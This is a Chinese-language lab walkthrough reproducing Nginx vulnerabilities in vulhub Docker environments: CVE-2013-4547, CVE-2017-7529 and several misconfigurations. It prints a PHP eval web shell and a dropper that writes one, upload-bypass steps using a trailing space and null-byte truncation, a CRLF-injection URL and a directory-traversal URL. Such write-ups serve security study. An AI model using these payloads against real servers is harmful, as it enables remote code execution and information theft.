0x00 CVE-2013-4547(文件上传——文件名逻辑漏洞)
1、简介
1)漏洞说明
这个漏洞主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
2)影响版本:
Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
2、搭建
2、复现
1)1.php:<?php eval(\$_POST['x']);?>
php马:<?php fwrite(fopen("/var/www/html/uploadfiles/nginx1.php","w"),"<?php eval(\$_POST['x']);?>")?>
2)构造图片马:copy nginx.png/b+1.php nginx1.png
3)上传图片马,burp抓包,png后缀后面加一个空格后,放包
4)访问http://ip:8080/uploadfiles/nginx.png .php并抓包 ,进入hex进行00截断
5)传马成功:
6) 蚁剑连接
0x01 CVE-2017-7529(越界读取缓存)
1、简介
1)漏洞说明
Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
2)影响版本
该漏洞影响所有 0.5.6 - 1.13.2版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进行远程攻击造成信息泄露。
2、docker搭建环境
进入漏洞目录后
systemctl restart docker //重启docker
docker-compose build
docker-compose up -d
docker-compose ps -a //查看是否搭建成功
3、复现
这个页面实际上是反向代理的8081端口的内容。
在环境(/vulhub/nginx/CVE-2017-7529
)内有poc.py
调用:
python3 poc.py http://ip:8080
可见,越界读取到了位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
如果读取有误,调整poc.py中的偏移地址(605)。
0x02 insecure-configuration(不安全配置)
1、影响版本
一些配置错误的情况,与nginx版本无关。(全版本)
2、docker搭建
略
3、复现
1)漏洞说明
运行成功后,Nginx将会监听8080/8081/8082三个端口,分别对应三种漏洞。
2)CRLF注入漏洞
Nginx会将$uri
进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。
进入docker环境内部,查看nginx配置文件。配置文件路径为/etc/nginx/conf.d,
错误的配置文件示例:
Payload: http://your-ip:8080/%0a%0dSet-Cookie:%20a=1
,可注入Set-Cookie头。
2)目录穿越漏洞
影响版本:全版本
影响说明:信息泄漏
Nginx的目录穿越漏洞严格定义的话,并非是漏洞,而是Nginx的特性,由于运维人员或者开发人员配置错误而导致的漏洞。
该问题出现在Nginx的虚拟目录配置上,也就是Alias。Alias正如其名,alias指定的路径是location的别名,不管location的值怎么写,资源的真实路径都是Alias指定的路径,例如:
Payload: http://ip:8081/files../ ,成功穿越到根目录:
3)add_header被覆盖
Nginx配置文件子块(server、location、if)中的add_header
,将会覆盖父块中的add_header
添加的HTTP头,造成一些安全隐患。
0x03 nginx_parsing_vulnerability(解析漏洞)
1、影响版本
全版本